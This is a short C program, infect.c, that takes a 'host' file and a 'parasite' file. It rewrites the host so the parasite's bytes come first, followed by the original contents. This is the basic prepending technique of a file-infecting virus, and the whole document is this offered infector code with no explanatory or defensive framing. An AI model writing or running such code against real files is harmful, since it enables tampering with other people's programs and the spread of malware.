infect.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

int main(int argc, char **argv) {
    if (argc != 3) {
        printf("Usage: ./infect [host] [parasite]\n");
        exit(0);
    }

    char *host = argv[1];
    char *parasite = argv[2];


    /* Open the host file */
    FILE *host_fp = fopen(host, "r+");
    if (host_fp == NULL) {
        perror("Could not open the host file");
        exit(1);
    }

    /* Get the size of the host file */
    fseek(host_fp, 0L, SEEK_END);
    int host_size = ftell(host_fp);
    fseek(host_fp, 0L, SEEK_SET);

    /* Allocate a buffer for the host file */
    char *host_buffer = calloc(host_size, sizeof(char));
    if (host_buffer == NULL) {
        perror("calloc");
        exit(1);
    }

    /* Copy the host file into the buffer */
    fread(host_buffer, sizeof(char), host_size, host_fp);


    /* Same operations for the parasite file */
    FILE *parasite_fp = fopen(parasite, "r");
    if (parasite_fp == NULL) {
        perror("Could not open parasite file");
        exit(1);
    }

    fseek(parasite_fp, 0L, SEEK_END);
    int parasite_size = ftell(parasite_fp);
    fseek(parasite_fp, 0L, SEEK_SET);
    
    char *parasite_buffer = calloc(parasite_size, sizeof(char));
    if (parasite_buffer == NULL) {
        perror("calloc");
        exit(1);
    }

    fread(parasite_buffer, sizeof(char), parasite_size, parasite_fp);
    fclose(parasite_fp);

    /* Write the parasite and then the old host to the host file */
    fseek(host_fp, 0L, SEEK_SET);
    fwrite(parasite_buffer, sizeof(char), parasite_size, host_fp);
    fwrite(host_buffer, sizeof(char), host_size, host_fp);

    fclose(host_fp);
    free(host_buffer);
    free(parasite_buffer);
    return 0;
}